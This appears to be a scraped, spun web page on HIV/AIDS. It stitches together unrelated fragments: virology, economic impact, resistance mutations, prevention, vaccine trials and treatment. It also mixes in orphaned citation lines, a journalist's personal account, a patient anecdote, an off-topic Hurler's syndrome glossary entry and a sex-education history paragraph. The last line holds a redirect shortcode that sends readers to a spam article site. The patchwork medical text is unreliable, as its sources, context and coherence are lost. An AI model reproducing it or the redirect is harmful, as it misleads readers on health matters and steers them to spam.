HIV is a member of the genus Lentivirus, part of the family Retroviridae. Lentiviruses have many morphologies and biological properties in common. Many species are infected by lentiviruses, which are characteristically responsible for long-duration illnesses with a long incubation period. Lentiviruses are transmitted as single-stranded, positive-sense, enveloped RNA viruses. Upon entry into the target cell, the viral RNA genome is converted (reverse transcribed) into double-stranded DNA by a virally encoded enzyme, reverse transcriptase, that is transported along with the viral genome in the virus particle. The resulting viral DNA is then imported into the cell nucleus and integrated into the cellular DNA by a virally encoded enzyme, integrase, and host co-factors. Once integrated, the virus may become latent, allowing the virus and its host cell to avoid detection by the immune system, for an indiscriminate amount of time. The HIV virus can remain in the human body for up to ten years after primary infection; during this period the virus does not cause symptoms. Alternatively, the integrated viral DNA may be transcribed, producing new RNA genomes and viral proteins, using host cell resources, that are packaged and released from the cell as new virus particles that will begin the replication cycle anew.
By affecting mainly young adults, AIDS reduces the taxable population, in turn reducing the resources available for public expenditures such as education and health services not related to AIDS resulting in increasing pressure for the state’s finances and slower growth of the economy. This causes a slower growth of the tax base, an effect that is reinforced if there are growing expenditures on treating the sick, training (to replace sick workers), sick pay and caring for AIDS orphans. This is especially true if the sharp increase in adult mortality shifts the responsibility and blame from the family to the government in caring for these orphans.
Some people are resistant to certain strains of HIV. For example, people with the CCR5-Δ32 mutation are resistant to infection by the R5 virus, as the mutation leaves HIV unable to bind to this co-receptor, reducing its ability to infect target cells.
Changes in survival of people infected with HIV. As therapies have become more aggressive, they have been more effective, although survival with HIV infection is not yet equivalent to that in uninfected people. Modified from an original published by Lohse et al (2007), “Survival of persons with and without HIV infection in Denmark, 1995-2005.”
Jump up ^ Alimonti JB, Ball TB, Fowke KR (2003). “Mechanisms of CD4+ T lymphocyte cell death in human immunodeficiency virus infection and AIDS”. J. Gen. Virol. 84 (7): 1649–1661. doi:10.1099/vir.0.19110-0. PMID 12810858.
Jump up ^ Baptista, M; Ramalho-Santos, J (November 1, 2009). “Spermicides, microbicides and antiviral agents: recent advances in the development of novel multi-functional compounds”. Mini reviews in medicinal chemistry. 9 (13): 1556–67. doi:10.2174/138955709790361548. PMID 20205637.
HIV/AIDS; retrovirusScanning electron micrograph of HIV-1 virions (green) budding from a cultured lymphocyte. Multiple round bumps on the cell surface represent sites of virion assembly and budding.C. Goldsmith/Centers for Disease Control and Prevention (CDC)
Given the confusion, it was simplest to latch onto the most provocative idea: that black gay men, who we knew were also contracting H.I.V. in high numbers, provided a “bridge to infection” to black heterosexual women, a phrase I first heard from researchers at a medical conference. As the theory went, closeted black gay men were using women as unsuspecting “cover girls” to hide their sexuality and then infecting them with H.I.V. In my reporting for both The Times and Essence, I found no shortage of anecdotal accounts of H.I.V.-positive women who were infected by male partners who had been having sex with other men in secret. As a black lesbian myself, I understood the stigma, shame and fear that could drive black gay men to create seemingly straight lives while sleeping with men — and end up unwittingly infecting their female partners with H.I.V. This idea made a certain amount of sense in the frustrating absence of scientific data.
defective virus one that cannot be completely replicated or cannot form a protein coat; in some cases replication can proceed if missing gene functions are supplied by other viruses; see also helper virus.
Jump up ^ Miyauchi K, Kim Y, Latinovic O, Morozov V, Melikyan GB (2009). “HIV Enters Cells via Endocytosis and Dynamin-Dependent Fusion with Endosomes”. Cell. 137 (3): 433–444. doi:10.1016/j.cell.2009.02.046. PMC 2696170 . PMID 19410541.
HIV is a preventable disease. Effective HIV prevention interventions have been proven to reduce HIV transmission. People who get tested for HIV and learn that they are infected can make significant behavior changes to improve their health and reduce the risk of transmitting HIV to their sex or drug-using partners. Recent scientific advances have demonstrated that early initiation of antiretroviral therapy (ART) not only preserves the health of people living with HIV but also reduces their risk of transmitting HIV to others by 93%.3
Jump up ^ Clevestig P, Maljkovic I, Casper C, Carlenor E, Lindgren S, Navér L, Bohlin AB, Fenyö EM, Leitner T, Ehrnst A (2005). “The X4 phenotype of HIV type 1 evolves from R5 in two children of mothers, carrying X4, and is not linked to transmission”. AIDS Research and Human Retroviruses. 21 (5): 371–8. doi:10.1089/aid.2005.21.371. PMID 15929699.
Creswell JD, Myers HF, Cole SW, Irwin MR. Mindfulness meditation training effects on CD4+ T lymphocytes in HIV-1 infected adults: a small randomized controlled trial. Brain Behav Immun. 2009 Feb. 23(2):184-8. [Medline]. [Full Text].
Currently, there is no licensed vaccine for HIV or AIDS. The most effective vaccine trial to date, RV 144, was published in 2009 and found a partial reduction in the risk of transmission of roughly 30%, stimulating some hope in the research community of developing a truly effective vaccine. Further trials of the RV 144 vaccine are ongoing.
Branson BM, Handsfield HH, Lampe MA, et al. Revised recommendations for HIV testing of adults, adolescents, and pregnant women in health-care settings. MMWR Recomm Rep. 2006 Sep 22. 55:1-17; quiz CE1-4. [Medline].
He told me, “I’m no longer that concerned about the virus itself. I’m more concerned about my internal organs and premature aging.” In 1999, at fifty, he learned that fatty deposits had substantially constricted the blood flow in a major artery that supplies the heart’s left ventricle. He began to experience crippling pain when he walked, because the blood supply to his bone tissue had diminished—a condition called avascular necrosis. In 2002, he had his first hip replacement, and the second in 2010. His muscles have shrunk, and sitting can be uncomfortable, so he sometimes wears special foam-padded underwear. Every other year, he has his face injected with poly-L-lactic acid, which replaces lost connective tissue.
Hurler’s syndrome; lipochondrodystrophy; dysostosis multiplex autosomal-recessive inherited generalized lipid disturbance and mucopolysaccharoidosis, affecting cartilage, bone, skin, subcutaneous tissues, brain, liver and spleen; characterized by short stature, shortness of neck, trunk and digits, kyphosis, reduced joint mobility, learning difficulties, characteristic facies (so-called gargoylism) and visual impairment
HIV-2 is closely related to simian immunodeficiency virus endemic in sooty mangabeys (Cercocebus atys atys) (SIVsmm), a monkey species inhabiting the forests of Littoral West Africa. Phylogenetic analyses show that the virus most closely related to the two strains of HIV-2 which spread considerably in humans (HIV-2 groups A and B) is the SIVsmm found in the sooty mangabeys of the Tai forest, in western Ivory Coast.
These drugs prevent HIV from replicating in cells and dramatically reduce the amount of HIV in the blood over a few days to weeks. If replication is sufficiently slowed, the destruction of CD4+ lymphocytes by HIV is decreased and the CD4 count begins to increase. As a result, much of the damage to the immune system caused by HIV can be reversed. Doctors can detect this reversal by measuring the CD4 count, which begins to return toward normal levels over weeks to months. The CD4 count continues to increase for several years but at a slower rate.
Sex is an old battleground in public education. Liberals and conservatives argued over it in the decade following the sexual revolution of the 1960s, initially over whether sexual issues should be discussed in schools. After all, earlier generations who went to public schools learned mainly about reproductive organs. As new classes began appearing in the late 1970s, children learned about the sexual choices people make. If liberals appeared to win the “sex ed.” debate, growing social problems helped: rises in teen pregnancies and sexually transmitted diseases secured a place for more explicit school health classes. The much greater threat of AIDS pushed state legislatures into action. By the mid-1990s, AIDS prevention classes had been mandated in at least 34 states and recommended in 14. But the appearance of even more explicit teaching has reinvigorated the sex ed. debate.
One theory for the discrepancy between GALT and blood measurements is that ongoing viral replication in the lymphoid tissue, and the resulting immune activation, may actually hamper efficient CD4+ T-cell replenishment. 
Rapid screening tests: These tests are being increasingly used to detect antibodies because they are quicker and simpler than ELISA, can be done in almost any setting, and provide immediate results. These tests can be done using a sample of blood or saliva in a doctor’s office.
People who have been exposed to HIV from a blood splash, needlestick, or sexual contact may reduce the chance of infection by taking antiretroviral drugs for 4 weeks. These drugs are more effective when they are started as soon as possible after the exposure. Taking three or more drugs is currently recommended. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]